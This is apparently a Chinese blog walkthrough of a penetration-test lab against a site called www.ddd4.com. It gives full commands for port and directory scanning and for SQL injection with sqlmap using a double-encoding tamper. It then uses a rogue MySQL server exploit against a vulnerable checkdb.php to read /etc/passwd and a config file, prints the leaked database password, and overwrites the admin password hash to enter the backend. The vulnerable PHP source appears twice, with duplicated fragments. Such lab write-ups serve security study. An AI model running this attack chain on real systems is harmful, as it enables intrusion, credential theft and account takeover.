• linux内网渗透


    一、信息收集

    主机发现:

    nmap -sP 192.168.16.0/24 
    
    • 1

    image-20230907093028243

    端口探测

    masscan -p 1-65535 192.168.16.168 --rate=1000                     
    
    • 1

    开放端口如下

    image-20230907093404057

    nmap端口详细信息获取

    nmap -sC -p 8888,3306,888,21,80 -A 192.168.16.168 -oA ddd4-port
    
    • 1

    image-20230907102050999

    目录扫描

    gobuster dir -u http://www.ddd4.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -x 'php,zip,html,rar' -oddd4.log --wildcard  | grep -v 11807 | grep -v "Size: 49" 
    
    • 1

    or

    image-20230907103410765

    二、sql注入

    sqlmap二次编码注入

    注入分析

    查询地址:

    http://www.ddd4.com/search?keyword=12

    image-20230907104149886

    使用’看到被提示非法字符,进行编码尝试

    image-20230907104214927

    单次编码后报错,原因是代码中进行了解码,这里需要编码后的再次进行编码后实现二次编码进行绕过

    image-20230907104452169

    报错存在注入

    image-20230907104539458

    sqlmap注入

    测试注入

    sqlmap -u http://www.ddd4.com/search?keyword=1 --batch 
    
    • 1

    image-20230907104851326

    绕过列出当前数据库

    sqlmap -u http://www.ddd4.com/search?keyword=11 --dbms mysql --batch --tamper chardoubleencode.py --current-db
    
    #sqlmap中的tamper给我们带来了很多防过滤的脚本
    
    • 1
    • 2
    • 3

    image-20230907105253134

    列出当前数据库中的表

    sqlmap -u http://www.ddd4.com/search?keyword=11 --dbms mysql --batch --tamper chardoubleencode.py -D www_ddd4_com --tables 
    
    • 1

    image-20230907105448272

    查看表中的数据内容

    sqlmap -u http://www.ddd4.com/search?keyword=11 --dbms mysql --batch --tamper chardoubleencode.py -D www_ddd4_com -T doc_user --dump
    
    • 1

    image-20230907110233741

    9430q1yc97c94304a6sy04ef5f8b2l42f136e0s8d423d5d0uj259f85af8n0547x28f21yc97c    admin@localhost 
    
    • 1

    发现密码被加密信息,解密失败

    
    $dbhost = $_REQUEST['dbhost'];
    $uname = $_REQUEST['uname'];
    $pwd = $_REQUEST['pwd'];
    $dbname = $_REQUEST['dbname'];
    if($_GET['action']=="chkdb"){
    $con = @mysql_connect($dbhost,$uname,$pwd);
    if (!$con){
    die('-1');
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48

    三、mysql客户端任意文件读取

    源码

    
    $dbhost = $_REQUEST['dbhost'];
    $uname = $_REQUEST['uname'];
    $pwd = $_REQUEST['pwd'];
    $dbname = $_REQUEST['dbname'];
    if($_GET['action']=="chkdb"){
    $con = @mysql_connect($dbhost,$uname,$pwd);
    if (!$con){
    die('-1');
    }
    $rs = mysql_query('show databases;');
    while($row = mysql_fetch_assoc($rs)){
    $data[] = $row['Database'];
    }
    unset($rs, $row);
    mysql_close();
    if (in_array(strtolower($dbname), $data)){
    echo '1';
    }else{
    echo '0';
    }
    }elseif($_GET['action']=="creatdb"){
    if(!$dbname){
    die('0');
    }
    $con = @mysql_connect($dbhost,$uname,$pwd);
    if (!$con){
    die('-1');
    }
    if (mysql_query("CREATE DATABASE {$dbname} DEFAULT CHARACTER SET utf8COLLATE utf8_general_ci",$con)){
    echo "1";
    }else{
    echo mysql_error();
    }
    mysql_close($con);
    }
    exit;
    ?>
    $dbhost = $_REQUEST['dbhost'];
    $uname = $_REQUEST['uname'];
    $pwd = $_REQUEST['pwd'];
    $dbname = $_REQUEST['dbname'];
    if($_GET['action']=="chkdb"){
    $con = @mysql_connect($dbhost,$uname,$pwd);
    if (!$con){
    die('-1');
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    这段PHP代码是一个非常不安全的数据库操作代码,存在严重的安全漏洞,特别是由于使用了mysql_*函数,这些函数在现代PHP版本中已被弃用。此代码用于执行数据库操作,包括检查数据库是否存在(chkdb)和创建数据库(creatdb),具体如下:
    
    用户通过HTTP GET或POST请求向脚本提供以下参数:
    
    dbhost:数据库主机名或IP地址。
    uname:数据库用户名。
    pwd:数据库密码。
    dbname:数据库名称。
    action:用于确定要执行的操作(chkdb表示检查数据库是否存在,creatdb表示创建数据库)。
    如果action参数的值是"chkdb",则脚本会尝试连接到MySQL数据库服务器。如果连接失败,脚本将返回"-1"。如果连接成功,则脚本将执行一个SHOW DATABASES查询,获取数据库列表,并将这些数据库名称存储在数组$data中。
    
    脚本然后关闭数据库连接,并检查指定的数据库名称是否存在于$data数组中。如果存在,脚本返回"1",表示数据库存在。否则,返回"0",表示数据库不存在。
    
    如果action参数的值是"creatdb",则脚本会尝试连接到MySQL数据库服务器。如果连接失败,脚本将返回"-1"。如果连接成功,则脚本将执行一个CREATE DATABASE查询,用指定的数据库名称创建一个新的数据库。如果创建成功,脚本返回"1",否则返回MySQL的错误信息。
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    exp下载地址:

    https://github.com/allyshka/Rogue-MySql-Server

    执行该脚本:该脚本默认读取/etc/passwd

    python2 rogue_mysql_server.py
    
    • 1

    image-20230918172457029

    kali内访问:

    http://www.ddd4.com/setup/checkdb.php?dbname=mysql&uname=root&pwd=123456&dbhost=192.168.16.182&action=chkdb
    
    #这里ip是填kali的ip
    
    • 1
    • 2
    • 3

    image-20230918173310074

    这时候已经读取到/etc/passwd了

    cat mysql.log   
    
    • 1

    image-20230918173533182

    更换读取mysql配置文件

    /www/wwwroot/www.ddd4.com/config/doc-config-cn.php
    
    • 1

    image-20230919115948287

    浏览器访问

    http://www.ddd4.com/setup/checkdb.php?dbname=mysql&uname=root&pwd=123456&dbhost=192.168.16.182&action=chkdb
    
    • 1

    读取mysql配置信息成功

    image-20230919140909259

    可以看到mysql的密码:

    DB_DBNAME:www_ddd4_com

    'DB_PASSWORD:x4ix6ZrM7b8nFYHn

    四、登录 mysql

    1.列出当前数据库用户

    sqlmap -u http://www.ddd4.com/search?keyword=1  --dbms mysql -v 1 --tamper chardoubleencode.py  --current-user   --batch
    
    • 1

    image-20230919113503442

    用户:www_ddd4_com@localhost

    因此目前可知:

    得到数据库连接文件
    dbname www_ddd4_com
    username www_ddd4_com
    password x4ix6ZrM7b8nFYHn
    
    • 1
    • 2
    • 3
    • 4

    2.数据库连接

    └─# mysql -h192.168.16.169 -uwww_ddd4_com -px4ix6ZrM7b8nFYHn
    
    ip为对方主机ip
    
    • 1
    • 2
    • 3

    连接对方数据库成功image-20230919150633720

    查看www_ddd4_com数据库中doc_user表的内容

    MySQL [www_ddd4_com]> select * from doc_user ;
    
    • 1

    image-20230919151426967

    看到密文:

     admin@localhost | admin    | 9430q1yc97c94304a6sy04ef5f8b2l42f136e0s8d423d5d0uj259f85af8n0547x28f21yc97c 
    
    • 1

    3.密文替换登录

    源代码中成加密后的admin密码,这里下载不到源码是网上已经有的

    生成密文 admin 的明文为 33e2q1yc3d033e22aesyc2140aec3l850c3a99s21232f297uj57a5a7438n4a0ex4a801yc3d0

    mysql执行替换语句:

    MySQL [www_ddd4_com]> 
    update doc_user set
    pwd='9430q1yc97c94304a6sy04ef5f8b2l42f136e0s8d423d5d0uj259f85af8n0547x28f21yc97c ' where id=1;
    Query OK, 1 row affected (0.005 sec)
    Rows matched: 1 Changed: 1 Warnings: 0
    
    • 1
    • 2
    • 3
    • 4
    • 5

    image-20230919154438787

    成功进入后台:

    image-20230919171545045

  • 相关阅读:
    3-网络架构和Netty系列-Java NIO三件套Buffer、Selector、Channel
    几个西门子PLC常见通讯问题的解决方法
    webserver(二)
    goroutine学习
    数据分析 面经(已拿到offer)
    【SLAM论文笔记】PL-EVIO笔记(中)
    [pdf]软件方法上册第二版自测题答案和解析-共144页
    【C++inline内联函数】跨文件调用
    Unity——数据存储的几种方式
    数字图像处理基础
  • 原文地址:https://blog.csdn.net/qq_56414082/article/details/133037959